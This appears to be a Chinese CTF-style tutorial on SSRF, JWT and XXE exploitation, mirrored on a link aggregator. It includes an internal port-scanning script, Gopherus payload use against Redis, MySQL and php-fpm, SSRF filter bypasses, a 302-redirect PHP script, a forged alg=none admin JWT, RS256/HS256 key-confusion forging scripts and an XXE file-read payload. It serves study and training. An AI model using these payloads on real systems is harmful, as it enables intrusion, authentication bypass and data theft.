7

Web_7_SSRF/JWT/XXE

 1 year ago
source link: https://charmersix.icu/2022/10/30/web_7_ssrf/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

第一节 SSRF的漏洞利用

0x1 ssrf原理解析

什么是ssrf

服务端请求伪造,攻击者向服务端发送包含恶意url链接的请求。ssrf常被用于探测攻击者无法访问的网络区域,比如内网或是防火墙访问限制的主机。

控制服务器使用指定的协议(如http协议,file协议)

ssrf原理

ssrf漏洞攻击的目标主机是从外网无法直接访问的内部系统

服务端提供了从外部服务获取数据的功能,但没有对目标地址、协议等主要参数进行过滤和限制,从而导致攻击者可以自由构造参数,发起恶意请求

正常访问逻辑如下图

image-20220923182815181
url结构

url结构遵循RFC1738标准,基本结构如下

image-20220922192402191

0x2 ssrf漏洞利用

任意文件读取

file协议读取文件,但是前提是知道文件名

内网资源探测

利用控制的host字段来扫描内网存活的主机

监听分三钟

  • 127.0.0.1 只允许本地访问
  • 0.0.0.0 允许任意地址访问
  • 192.168.233.233 只允许特定IP访问

这里可以写一个脚本帮我们探测内网网络端口

import requests

url = "靶机"

ports = [80,443,8080,80000,9000,21,3306,6379,8088]

for p in ports:

data = {
"url":"http://127.0.0.1:{}".format(p)
}
response = requests.post(url=url,data=data)

if response.text != "":
print("port: {} is open".format(p))

else:
print("port:{} is close".format(p))

gopher协议扩展攻击面

gopher://负责转发的一个协议

攻击redis的6379端口

redis是一个常用的缓存部件.一般运行在内网,使用者大多将其绑定在127.0.0.1:6397地址,且一般为空命令

redis一条命令执行一个行为,一条是错的,下一条会继续执行

如果我们能控制报文的任意一行,就可以实现攻击.

这里我们可以使用Gopherus工具生成gopher协议打一下,这里要注意一下,在使用Gopherus时要记得二次url编码

image-20220923215702293
image-20220923215747551
image-20220923215904733

问题来了,这里为什么要进行二次编码呢?

因为他进行了两次解码,我们在发送到redis要经过一个服务器的转发,比如这里是nginx转发,在我们传输到nginx时就进行了一次url解码,再发送给redis时,又进行了一次解码,所以我们要进行两次编码.

攻击MySQL的3306端口

MySQL分为客户端和服务端,由客户端连接服务端有四种方式,分别是

  • unix套接字
  • TCP/IP套接字

我们进行攻击依靠第四种方式,MySQL客户端连接时,有两种情况:

  1. 需要密码认证,服务器先发送salt,客户端使用salt进行加密后再验证
  2. 不需要密码认证,直接使用上边第四种方式发送数据包

这里攻击MySQL要在非交互条件下进行,一定只能攻击没有密码的的MySQL服务端

这里我们写马要用MySQL语句写

image-20220923223307726
攻击fastcgi的9000端口

php-fpm是个中间件,在需要PHP解释器来处理php文本时会用到php-fpm.

自从PHP5.3以后将php-fpm继承到php内核种.php-fpm提供了更好的php进程管理方式,可以有效控制内存和进程,可以平滑重载php配置

以我们经常执行访问的index.php?file=/etc/passwd为例:

  1. 浏览器发送访问index.php的请求到web服务器,比如nginx/apache

  2. web服务器将请求的uri(index.php),参数(file=/etc/passwd)等等发送给专门的php解释器来执行,因为nginx/apache是只能处理静态文件(通过文件读取的方式) , 对于动态的php脚本, 需要专门的php-fpm中间件来解释执行

  3. php-fpm收到了web服务器传递过来的各种参数后, 初始化zend虚拟机, 对php文件做词法分析,语法分析,编译成opcode,并执行.最后关闭zend虚拟机.将执行结果返回给web服务器

  4. web服务器收到返回结果后,将http相应传给浏览器

    image-20220925133934213

包含配置文件以后,后面紧跟一句

fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name

定义了一个SCRIPT_FILENAME,值是$document_root$fastcgi_script_name

重点看SCRIPT_FILENAME,这个就是nginx传给php-fpm的

nginx和php-fpm的数据交互,使用的是fast-cgi协议

fastcgi协议

fastcgi其实是一个通信协议,和http协议一样,都是进行数据交换的一个通道.http协议是浏览器和服务器中间件进行数据交换的协议,浏览器将http头和http体用某个规则组装成数据包,以tcp的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以http协议的规则打包返回给服务器.

可以使用伪造的fastcgi协议数据,与php-fpm交互,通过伪造script_filename的参数,来实现执行任意的PHP脚本文件

ssrf->控制服务端脚本请求本地php-fpm端口->伪造配置参数包含php://input数据->执行php://input内提交的代码

这里还是使用gopherus

image-20220925161538070

0x3 ssrf的绕过

使用enclosed alphanumerics绕过数字限制

① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

比如我们访问127.0.0.1,如果0被过滤了就可以使用127.⓿.⓿.1

IP地址进制绕过

IP地址可以转int也可以转不同进制来表示

比如我们使用这个http://www.tbfl.store/net/ip.html 来转一下127.0.0.1

image-20220925164246113

特殊写法绕过

IP地址有一些特殊的写法,在Windows下,0代表0.0.0.0,而在Linux下,0代表的是127.0.0.1

所以,在某些情况下可以使用http://00 请求127.0.0.1

甚至我们可以将127.0.0.1中的0忽略掉,直接访问127.1代表127.0.0.1

image-20220925164910688

Linux下也可以用中文句号代表点,127。0。0。1代表127.0.0.1

image-20220925165450693

302跳转

需要一个vps,把302转换的代码部署到vps上,然后去访问,就可以跳转到内网中,比如302.php

<?php
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];

if(empty($port)){

header("Location: $schema://$ip/$query");

}else{
header("Location: $schema://$ip:$port/$query");
}

如果服务器跟踪了location字段,就可以自动转向

短网址绕过

网上有很多转换短网址的工具随便百度一个就有

比如说http://charmersix.icu/转换成http://jj6m.cn/e0fSu

第二节 JWT的原理以及突破

0x4 什么是jwt

jwt基本概念

json web token(jwt) 是一个轻量级的认证规范,这个规范允许使用jwt在用户和服务器之间传递安全可靠的信息.其本质是一个token,是一种紧凑的url安全方法,用于在网络通信的双方之间传递.

900b3e81f832b2f08c2e8aabb540536a

我们可以进jwt官网看一下jwt.io

image-20220926194846145

jwt明文只能看不能改

jwt使用

jwt的漏洞

空加密算法

jwt支持空加密算法,可以在header中指定alg为none,这样的花,只要把signature设置为空,即不添加signature字段提交到服务器,任何token都可以通过服务器验证

但是我们会发现官网是没法生成空加密的,但是我们知道它的signature是base64,所以我们直接手工生成

{
"alg": "None",
"typ": "JWT"
}
{
"iss": "admin",
"iat": 1664193697,
"exp": 1664200897,
"nbf": 1664193697,
"sub": "admin",
"jti": "fa2fb0a80953bd65a5dfe2afec06048e"
}
在两段编码中间用.隔开
image-20220926200852044
ewogICJhbGciOiAiTm9uZSIsCiAgInR5cCI6ICJKV1QiCn0K.ewogICJpc3MiOiAiYWRtaW4iLAogICJpYXQiOiAxNjY0MTkzNjk3LAogICJleHAiOiAxNjY0MjAwODk3LAogICJuYmYiOiAxNjY0MTkzNjk3LAogICJzdWIiOiAiYWRtaW4iLAogICJqdGkiOiAiZmEyZmIwYTgwOTUzYmQ2NWE1ZGZlMmFmZWMwNjA0OGUiCn0=.

(header+”.”+payload+”.”, 去掉了’.’signature字段)

空加密算法是为了调试方便,在生产环境中开启空加密模式,缺少签名保护,攻击者只要把alg字段改成none,就可以在payload中构造身份,伪造用户身份。

我们可以使用c-jwt-cracker-master进行jwt密钥爆破

私钥泄露攻击

这里访问/private.key就能任意文件下载私钥,但是我们尝试在官网是无法生成的,但是我们可以自己写脚本生成

这里就需要在本地安装node,然后npm install jsonwebtoken

const jwt = require("jsonwebtoken");

var fs = require("fs");


var privateKey = fs.readFileSync("private.key");
var token =jwt.sign({user:'admin' },privateKey,{algorithm:'RS256'});

console.log(token);

然后写这么个脚本,生成

公钥泄露攻击

jwt中最常用的两种算法为HMAC和RSA

HMAC是一种对称加密算法,使用相同的密钥进行加解密

RSA是一种非对称加密算法,使用私钥加密,公钥解密

在HMAC和RSA中,都使用私钥对signature字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token

密钥一般情况下是无法获取的,但是可以获取到公钥,我们可以将加密算法RSA改成HAMC,即将alg字段由RS256改成HS256,同时使用获取到的公钥作为算法的密钥,对token进行签名提交给服务端.服务器会将RSA的公钥作为当前算法(HMAC)的密钥,HMAC公钥和密钥相同,使用HS256算法会对接收到的签名进行验证。

const jwt = require("jsonwebtoken");

var fs = require("fs");


var privateKey = fs.readFileSync("public.key");
var token =jwt.sign({user:'admin' },privateKey,{algorithm:'HS256'});

console.log(token);

但是这里要注意,我们在进行密钥攻击时,一定要用post方式

307afa51c5111551e222c88701a2f22

第三节 XXE文件读取

0x5什么是xxe漏洞

xxe的概念

xxe是外部XML Entity实体注入,危害性较小

xml定义了两种实体类型,分别是

  • 普通entity 在xml文档中使用
  • 参数entity 在dtd文档中使用

xxe危害

xxe利用,主流是读取文件为主,可以作为任意文件读取切入点

xxe利用

php中xxe的一般写法如下:

libxml_disable_entity_loader #禁用/启用加载外部实体的功能,参数为true时启用,参数为false时禁用

file_get_contents('php://input') #接收POST请求方式传的数据
loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD) #通过解析一个xml标签字符串来组成该文档

simplexml_import_dom #把DOM节点转换为SimpleXMLElement对象

$creds->ctfshow #获取页面中的ctfshow元素
有回显的情况

这种情况我们可以直接用file协议读取文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
<ctfshow>
&xxe;
</ctfshow>
</root>
无回显情况

我们可以使用外部的DTD,通过一个公网ip进行读取


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK